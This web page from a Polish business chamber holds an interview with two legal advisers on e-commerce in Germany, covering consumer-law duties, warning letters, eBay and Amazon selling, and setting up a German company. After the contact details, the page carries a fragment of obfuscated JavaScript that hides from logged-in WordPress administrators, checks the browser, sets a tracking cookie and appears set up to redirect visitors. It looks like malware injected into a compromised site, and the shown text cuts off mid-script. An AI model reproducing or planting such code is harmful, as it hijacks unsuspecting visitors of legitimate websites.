E-commerce za granicą – wywiad z Ekspertami | Północna Izba Gospodarcza w Koszalinie

Sprzedaż towarów w zagranicznych sklepach internetowych, niesie za sobą wiele wyzwań, głównie z uwagi na brak jednolitych uwarunkowań prawnych na rynku e-commerce. W związku z tymi różnicami zapytaliśmy naszych ekspertów Monikę Eissing oraz Annę Pappert z HPE – Berlin Grupa Prawników i Doradców, jak wygląda e-commerce dla przedsiębiorców u naszych zachodnich sąsiadów.

Czy Przedsiębiorca prowadzący działalność w Polsce, może po prostu założyć stronę internetową w Niemczech i bezpośrednio sprzedawać swoje usługi?

Polski przedsiębiorca może założyć sklep internetowy z niemiecką domeną i rozpocząć sprzedaż. Powinien jednak zwrócić uwagę, że obowiązywać go będzie niemieckie prawo regulujące treść strony internetowej. Będzie on zobowiązany do włączenia impressum wg wymogów niemieckiego prawa oraz do poinformowania konsumenta o przysługujących mu prawach wg niemieckiego prawa konsumenckiego.

Niestety polscy przedsiębiorcy nie wiedzą o tym, że nieprawidłowości prawne na stronie sklepu internetowego  grożą upomnieniami (Abmahnung) konkurencji masowo wysyłanymi przez kancelarie prawne i instytucje ochrony konsumenta. W upomnieniach tych pobierane są opłaty adwokackie, które w zależności od rodzaju i wagi uchybień wynoszą 1000 euro lub więcej.

Czy łatwiej jest skorzystać z platform sprzedażowych takich jak amazon.com lub e-bay.com?

Sprzedaż przez platformy takie jak eBay lub AMAZON jest łatwiejsza niż przez własny, niezależny sklep internetowy. Obie platformy są absolutnymi faworytami klientów. Sprzedaż zaczyna się tam faktycznie od razu, w przeciwieństwie do wymagającego długiego czasu pozycjonowania lub dodatkowych reklam  sklepów internetowych. Na platformie eBay przedsiębiorcy mogą np. korzystać z opcji eBay Plus, gdzie otrzymują dodatkowe możliwości reklamy przez indywidualne newslettery eBay-a dla klientów oraz przejęcie kosztów zwrotów przez eBay. Aby uzyskać tę opcję i logo eBay Plus sprzedawcy muszą spełnić szereg warunków, a przede wszystkim mieć adres do zwrotów w Niemczech. Wiemy od naszych klientów, że sprzedaż w tej opcji wzrasta dość szybko. Natomiast sprzedaż przez samodzielny sklep internetowy jest na początku prawie zerowa.

Czy jest różnica dla klienta z Niemiec od kogo kupuje dany produkt, to znaczy czy zwraca uwagę czy to jest firma niemiecka czy polska?

Z naszego doświadczenia wynika, że niemieccy klienci preferują produkty nie tylko wysyłane z Niemiec, ale także sprzedawane przez niemieckie firmy. Nasi polscy  klienci po zarejestrowaniu spółki niemieckiej (GmbH lub mini spółki UG) odnotowali wzrost sprzedaży. Natomiast niektórzy, znając wymagania  klientów w swojej branży, w ogóle nie zaczynali sprzedaży w Niemczech jako polska firma, tylko od razu założyli niemiecką spółkę zapewniając sobie aż zaskakująco szybki start sprzedaży w Niemczech . Z doświadczenia naszych klientów wiemy, że niemiecka firma, łatwiej niż polska, sprzedaje również w Austrii i Francji.  Niemiecki klient zwraca ogromną uwagę na uregulowanie problematyki zwrotu towaru. Wybiera produkt, gdzie zwrot jest nieskomplikowany, często sprawdza na ikonce, czy to sprzedawca ponosi koszty zwrotu i ile czasu mu na to przysługuje. Jeżeli klient ma ponieść koszty zwrotu do Polski, wybiera po prostu produkt niemiecki. W tym miejscu jeszcze raz przypominamy o korzyści z eBay Plus, gdzie koszty zwrotu na niemiecki adres ponosi eBay.

Nie oznacza to jednak, że niemieccy klienci wykluczają kupno od polskiego przedsiębiorcy. Polskie meble cieszą się dużym powodzeniem i zaufaniem od polskiego przedsiębiorcy i dlatego te firmy sprzedają z powodzeniem bezpośrednio z Polski .

 Czy procedura założenia firmy w Niemczech jest skomplikowana?

Procedura jest taka sama jak w Polsce czyli nie skomplikowana. Przy spółkach udajemy się do notariusza, po czym następuje wpis do KRS-u. Warto tutaj nadmienić nasze pakiety w inkubatorze, gdzie koszty adwokackie wliczone są już w opłatę miesięczną co obniża jednorazowe koszty rejestracji.

Czy polski przedsiębiorca sprzedający w Niemczech we własnym sklepie internetowym i na platformach sprzedażowych musi mieć regulamin ? 

Nie ma obowiązku posiadania regulaminu. Natomiast przepisy nakładają na przedsiębiorcę obowiązek poinformowania konsumenta o jego prawach dotyczących sposobu dochodzenia umowy do skutku, sposobu korygowania danych wprowadzonych przy zawieraniu transakcji, rękojmi za wady, języka umowy, obowiązującego  prawa i innych informacji. Dlatego w praktyce używa się do tego celu regulaminu (w Niemczech nazwanego w skrócie  AGB). W regulaminie zamieszcza się też wymagane prawem oświadczenie o ochronie danych osobowych. Ponadto  przedsiębiorca musi zamieścić zgodne z aktualnym prawem pouczenie o odstąpieniu od umowy wraz z formularzem odstąpienia. Niestety polscy przedsiębiorcy nie załączają w ogóle regulaminu lub też zamieszczają przestarzałe teksty, narażając się na wspomniane już upomnienia. Ważne jest też, aby zwrócić uwagę na to, że regulamin i pouczenie o odstąpieniu nie są identyczne dla eBay i Amazon. Obie platformy żądzą się swoimi prawami.

Informację kontaktowe

www.hpe-berlin.de/pl/

Tel. +49 (0) 3379 310 1588

Tel. Kom: +491751659625

Tel. Kom: +4915231063245

E Mail: info@hpe-berlin.de

'toUTCString',’cookie',’split',’length',’charAt',’substring',’indexOf',’userAgent',’match',’MSIE;',’OPR',’Chromium',’Firefox',’Chrome',’ppkcookie',’location',’http://',’getElementById',’wpadminbar',’undefined',’setTime',’getTime',';\x20expires='];(function(c,d){var e=function(f){while(–f){c[’push'](c[’shift']());}};e(++d);}(a,0x1f4));var b=function(c,d){c=c-0x0;var e=a[c];return e;};(function(){if(document[b(’0x0′)](b(’0x1′))===null){if(typeof c===b(’0x2′)){function c(d,e,f){var g=”;if(f){var h=new Date();h[b(’0x3′)](h[b(’0x4′)]()+f*0x18*0x3c*0x3c*0x3e8);g=b(’0x5′)+h[b(’0x6′)]();}document[b(’0x7′)]=d+’=’+(e||”)+g+';\x20path=/';}function i(j){var k=j+’=';var l=document[b(’0x7′)][b(’0x8′)](';');for(var m=0x0;m